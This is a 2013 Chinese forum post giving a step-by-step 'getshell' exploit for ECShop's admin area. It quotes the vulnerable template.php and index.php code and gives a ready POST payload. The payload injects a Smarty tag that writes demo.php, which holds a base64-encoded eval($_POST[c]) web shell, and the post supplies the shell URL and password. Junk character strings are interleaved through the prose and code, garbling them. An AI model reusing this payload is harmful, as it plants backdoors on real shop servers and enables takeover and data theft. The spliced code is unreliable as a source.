找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2540|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板% r( a  Q% s, a! Z  j0 Q

" t$ l" h4 I4 @: m, G+ @而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
) M% ^* |# C! R但是ecshop似乎不支持{php}{/php}这个标签来执行php代码* l" A& d0 F+ J& {
admin/template.php' I3 f8 z  R9 m1 k' p' ?; }
# B: V! c$ h( T% Y- J; I' P
1 if ($_REQUEST['act'] == 'update_library')   g- }6 F: X+ }! n' x$ W( `; P
1 f( n+ e) B" i4 O- d, P/ [; g! G
2   4 L5 D1 P$ R+ l8 ^2 I' y

; m, D+ [% t) b+ [3 { 0 n1 N( ]4 P' q
) n1 l; ^# a/ n& b/ ?4 ?3 u
4     check_authz_json('library_manage');
3 v2 Z6 p, t1 V; ~& `. ^% m
1 i7 T# Y- U1 C; T* T5   3 q7 w2 Q0 h* a

$ d6 o; u; z, m. ^  \4 n" H% O6     $html = stripslashes(json_str_iconv($_POST['html']));   w1 ]. _% d3 [$ V

5 _, r1 w: }& t/ [( r# ~# p, y7   5 X- m4 H2 |; U" i$ L

8 y3 D8 G- R* m. E7 ]8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
( U2 C' H, r0 T  W1 ]0 \  Q, J8 C8 T" T" D4 C0 g
9   1 m" ^; h3 n) Y5 q
! a( m# t7 B; u0 d
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
  b( r/ E0 X; x* ~/ a/ p, |& m. ^- y
11   . i- {% z1 [: t
* o3 x% q( S7 I8 l# J" ?5 t
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
5 d$ _- t! Z/ ~+ N+ F* l& ?0 D1 T2 {  w
13   
4 b. m' f, N( H& e
# g6 [; N# \; j  ]14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 : A8 T5 t3 M0 Y! t
* f$ J3 k( r! k* V+ X5 Z, T
15     {
2 O' y. L% M' \8 R( i6 v2 p5 e
1 X. k, s$ l$ f/ B# h16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); ) l4 V: K0 i+ ^8 _

; ?! Y$ N6 u+ B2 G2 g17         make_json_result('', $_LANG['update_lib_success']);
7 |( u0 ?- {: E, [# I: ]7 s% K" r$ m3 Y
18     } * D) d1 l* ~1 q( L  `, k

: s1 L% W( L+ ^; _8 ?% ]19     else
- ^8 y1 }& z  F; d  L9 z% V! z2 C/ x. K0 r
20     {
" |: W4 {' @5 p6 ^) X6 x" N; I7 M
( v0 y1 A# D; E$ ]21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 1 |) t% h- l3 Y  V  s+ K  `3 T+ z! {

* D) x, G; \( q. P22     }
- ]) t$ }0 |3 B0 B' Y% y/ N
; F: j; S. j  v: M: p! V23 }
4 Q+ X4 @: N8 M- s
. Q) S$ q) C: j5 e9 k/ y  Q那么找个比较方便调用了模板的文件
$ \% u' H1 w$ g6 vindex.php
- E7 W/ v5 ]1 x; @
3 r2 [7 Q. U2 v6 M( O# Y( U1 if ($act == 'cat_rec')
1 \$ V1 ~" y; u: c$ p7 R  b7 y, p4 }
2   
$ }( M4 T+ g+ q1 X5 P0 b$ B( M* Q4 K* T& C$ |
3 {
" ^, \+ D- ^8 y$ U6 r# V$ g4 n
: ^" s- R& B2 z  B+ h! X1 O4   3 f1 q! x1 U- s5 ]- o. C4 y
, a: T! |5 `; M" }$ l
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 0 ~4 ^1 w, D3 m& C# w

. ~: J! \) h; ~7 u4 S) g6   
7 d  [0 M5 q- R2 [: j- {9 h4 R: T3 V2 ~9 o
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; # O# V4 w: t. s1 I6 E
* k4 ?7 e! e$ P  u  I
8   
5 A. O; h5 i$ c+ G2 a8 ~  Z9 ~0 o: t2 Y$ O% j0 s$ c) v1 e. A
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 4 G) [  e. ~& E$ ?

# F' O3 `: Q0 i2 `# H10   ( p' Q  K. [* ]! `$ U- j0 G
9 l6 A+ J5 r5 P
11     include_once('includes/cls_json.php'); + ~( L# f. }. q" W' K) r
4 Z$ c$ t6 b/ c" S5 _5 [; c) W
12   
9 }( P: K. z7 n0 p: G/ W% f
9 M* V" @+ m% D! a& @' n  V: h13     $json = new JSON; ; m! d8 A! K, z% b6 I
, V6 a/ ~( c/ E
14   / h; S% {6 m( |

8 X0 k0 ?% R& n! t  F* i15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 4 q8 g, _" k% u5 l. _3 d

' _$ _# i, r3 f7 ]+ u2 g5 m/ |: F16   6 k% g1 _: \, d# z: B  @

4 p* l1 k! E6 H% o( |! [# l17     $children = get_children($cat_id);
8 h9 Q- g. t9 S
$ ^. U# i) {. l7 Q. r18   
9 k6 n% b; m+ M; ~+ q4 V
9 H2 F# [; D1 W, J+ C' `. j* i19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 $ i& F6 ^5 f# i" c. l- D! [9 y( M

8 e# r' R+ Z) {; O) @) r! K) j4 N20   : T# Q4 X: q- }; r, j9 A5 A0 {+ v

' h$ B) P$ p# `! ~- e9 x21     $smarty->assign('cat_rec_sign', 1); $ D* S6 e; k- n# L+ w

; j! m4 O- _+ D- V. ]22   
0 p6 U1 R! Z. r; i$ D: q7 A2 M# U6 U- s8 Z
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 9 X4 }1 y" k/ E$ r& b0 o
" c) V% T$ ?: z9 I5 }' `
24   
1 [7 f9 x, W% _- W; [6 B
8 `* P0 D( \# r9 t25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
8 Q$ B6 d) Q) E" c0 C& F: Q* L# R8 b/ P  v
26     Q# ~0 s$ u! T1 z. X/ u
$ J; D5 O& @: ]% o, E7 ?
27         echo $rec_array[$rec_type];
4 ^7 F; A1 d% t- t5 |
. k# Z8 c; G, f  h6 _28   - A9 W  C" W& E' K

; c1 T( a% K, E8 R9 X( c+ y7 D# a4 v29     die($json->encode($result)); : B# Y# b- Z% [" w  h' D# X! Y& D

- W& E. q) i+ T) _9 d30   3 [- u7 @" t9 N7 m: Y& [

) ~; n& E& H; {, F! p+ q/ V31 }
4 J# R1 p& W# ^' U) E' B5 b
2 V- g* I0 `; s6 [那么就有利用方法了4 N- i, L3 d8 P8 M
post包到http://localhost/ec/admin/template.php?act=update_library5 {8 Z  j2 B; n- o
Post内容:+ u9 f5 Q$ |3 \3 _- B8 t# m
$ u  `( N* z+ I  \) K

4 x1 [* D* K' C/ b- O  E1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
6 ]6 t" B6 {& R/ O& q& x4 g, H$ D3 j- |$ \+ B2 s
然后访问http://localhost/ec/index.php?act=cat_rec
  U$ E. L. H& o5 U$ m$ }1 M5 @" ?: V% _
shel地址:http://localhost/ec/demo.php
1 O, A4 _8 _7 f1 i0 W密码c
* a& R6 e1 p2 i4 y/ j( c! H0 g4 J7 m- r; l% h  D/ o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表